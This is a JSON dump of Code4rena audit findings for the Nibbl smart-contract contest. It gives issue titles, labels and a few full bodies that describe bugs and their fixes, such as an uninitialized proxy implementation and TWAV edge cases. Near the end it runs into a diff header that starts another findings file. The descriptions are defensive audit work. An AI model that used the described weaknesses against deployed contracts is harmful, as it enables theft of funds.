"2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/237", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/236", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/234", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/230", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/229", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/228", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/227", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/225", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/224", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/221", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/220", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/217", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/214", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/213", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/212", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/210", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/209", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/205", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/204", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/202", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "User Could Change The State Of The System While In `Pause` Mode", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/200", "labels": ["bug", "2 (Med Risk)"], "target": "2022-06-nibbl-findings", "body": "User Could Change The State Of The System While In `Pause` Mode"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Ineffective TWAV Implementation", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/191", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-06-nibbl-findings", "body": "Ineffective TWAV Implementation"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/187", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/186", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Reentrancy bug in Basket's withdraw multiple tokens function which gives attacker ability to transfer basket ownership and spend it but withdraw all the tokens out of basket", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/185", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-06-nibbl-findings", "body": "Reentrancy bug in Basket's withdraw multiple tokens function which gives attacker ability to transfer basket ownership and spend it but withdraw all the tokens out of basket"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/183", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/182", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/181", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/180", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "`Twav.sol#_getTwav()` will revert when timestamp > 4294967296", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/178", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "`Twav.sol#_getTwav()` will revert when timestamp > 4294967296"}, {"title": "withdrawETH() in Basket uses transfer() to send ETH, CALL() SHOULD BE USED INSTEAD OF TRANSFER() ON AN ADDRESS PAYABLE", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "withdrawETH() in Basket uses transfer() to send ETH, CALL() SHOULD BE USED INSTEAD OF TRANSFER() ON AN ADDRESS PAYABLE"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/172", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/170", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/167", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/164", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/162", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "NibblVault: BuyoutInitiated event parameter error", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/160", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/NibblVault.sol#L414-L417 # Vulnerability details ## Impact In the initiateBuyout function of the NibblVault contract, the second parameter of the BuyoutInitiated event is _buyoutBid instead of _currentValuation, and since the excess Ether in _buyoutBid is transferred to the user, the actual buyout price for the user is the _currentValuation variable. The user can use a large amount of Ether to get a large _buyoutBid variable, however the actual amount of Ether spent by the user is _currentValuation. Events emitted by the smart contract are used off-chain, and incorrect event parameters may have an impact on the user's trading behavior ## Proof of Concept https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/NibblVault.sol#L414-L417 ## Tools Used None ## Recommended Mitigation Steps ``` - emit BuyoutInitiated(msg.sender, _buyoutBid); + emit BuyoutInitiated(msg.sender, _currentValuation); ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/158", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/157", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/156", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/155", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/154", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/152", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/151", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/149", "labels": ["bug", "documentation", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/147", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/142", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/141", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/140", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/139", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "USERS CAN IRREVERSIBLY LOSE ETHER WHILE SWAPPING", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/133", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "USERS CAN IRREVERSIBLY LOSE ETHER WHILE SWAPPING"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/125", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Call() Should Be Used Instead of Transfer()", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/124", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-nibbl-findings", "body": "Call() Should Be Used Instead of Transfer()"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/119", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Permanent freezing of funds", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/117", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-nibbl-findings", "body": "Permanent freezing of funds"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/116", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/114", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/113", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Twav._getTwav() will return a wrong result when twavObservations[TWAV_BLOCK_NUMBERS - 1].timestamp = 0.", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/112", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/Twav/Twav.sol#L36 # Vulnerability details ## Impact The \"if\" condition of Twav._getTwav() is missing some edge cases. In this case, this function will return 0 which is different from the correct value and it will affect the main functions like NibblVault.buy() and NibblVault.sell(). ## Proof of Concept I think this condition is to confirm at least 4 values were saved for twav calculation. Btw this timestamp would be zero even though there are more than 4 values properly as it's modularized by 2**32. In this case, the if condition will be false and this function will return 0. ## Tools Used Solidity Visual Developer of VSCode ## Recommended Mitigation Steps I see \"cumulativeValuation\" is increasing all the time and recommend replacing \"timestamp\" with \"cumulativeValuation\". ``` if (twavObservations[TWAV_BLOCK_NUMBERS - 1].cumulativeValuation != 0) { ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/109", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/101", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/100", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/99", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/95", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/93", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Avoid leaving a contract uninitialized", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/91", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/NibblVault.sol#L173 https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/Basket.sol#L23 https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/NibblVaultFactory.sol#L158 https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/NibblVaultFactory.sol#L99 # Vulnerability details ## Impact In OpenZeppelin Contracts (proxy/utils/Initializable.sol): > CAUTION: An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation... ## Proof of Concept This can lead to takeover of 2 contracts: `Basket.sol` and `NibblVault.sol` since implementation contracts not initialized and can be initialized publicly. https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/NibblVault.sol https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/Basket.sol Also, Upgrading either of their implementation in `NibblVaultFactory.sol` when `proposeNewVaultImplementation(address _newVaultImplementation)` or `proposeNewBasketImplementation(address _newBasketImplementation)` can lead to the same issue if the upgraded contract did not disable initializers. https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/NibblVaultFactory.sol#L158 https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/NibblVaultFactory.sol#L99 ## Recommended Mitigation Steps As its mentioned in OpenZeppelin Contracts documentation: >To prevent the implementation contract from being used, you should invoke the {_disableInitializers} function in the constructor to automatically lock it when it is deployed: ``` /// @custom:oz-upgrades-unsafe-allow constructor constructor() { _disableInitializers(); } ``` Should both of `Basket.sol` and `NibbleVault.sol` use the `_disableInitializers();` which make the implementation contract unable to be initialized to version 1. Hence, for newer version of `Basket.sol` and `NibbleVault.sol` proposed for the factory should also be initialized to version 1 to prevent the attack https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/NibblVaultFactory.sol#L165 https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/NibblVaultFactory.sol#L130 "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/90", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "ETH accumulated by underlying ERC721 in vault from royalties or airdrops are paid out to fictionalized ERC20 holders", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "ETH accumulated by underlying ERC721 in vault from royalties or airdrops are paid out to fictionalized ERC20 holders"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/87", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/84", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/83", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/82", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/81", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/80", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/79", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/78", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/75", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/69", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Buyout cannot be rejected when paused", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/55", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-06-nibbl-findings", "body": "Buyout cannot be rejected when paused"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/52", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/40", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/33", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Receive function in Vault contracts can cause loss of funds", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-nibbl-findings", "body": "Receive function in Vault contracts can cause loss of funds"}, {"title": "ERC20 return values aren't checked in some places", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "ERC20 return values aren't checked in some places"}, {"title": "Lack of sanity check on _initialTokenSupply and _initialTokenPrice can lead to a seller losing his NFT", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/24", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor disputed"], "target": "2022-06-nibbl-findings", "body": "Lack of sanity check on _initialTokenSupply and _initialTokenPrice can lead to a seller losing his NFT"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/15", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "NibblVault: In the buy function, users can avoid paying fees", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/14", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "NibblVault: In the buy function, users can avoid paying fees"}] \ No newline at end of file diff --git a/results/codearena_findings_21.json b/results/codearena_findings_21.json new file mode 100644 index 0000000..6b1fd8a --- /dev/null +++ b/results/codearena_findings_21.json @@ -0,0 +1 @@ +[{"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/1", "labels": [], "target": "2022-06-nibbl-findings", "body": "Agreement & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/157", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/156", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "valid"], "target": "2022-06-badger-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-badger-findings/issues/153", 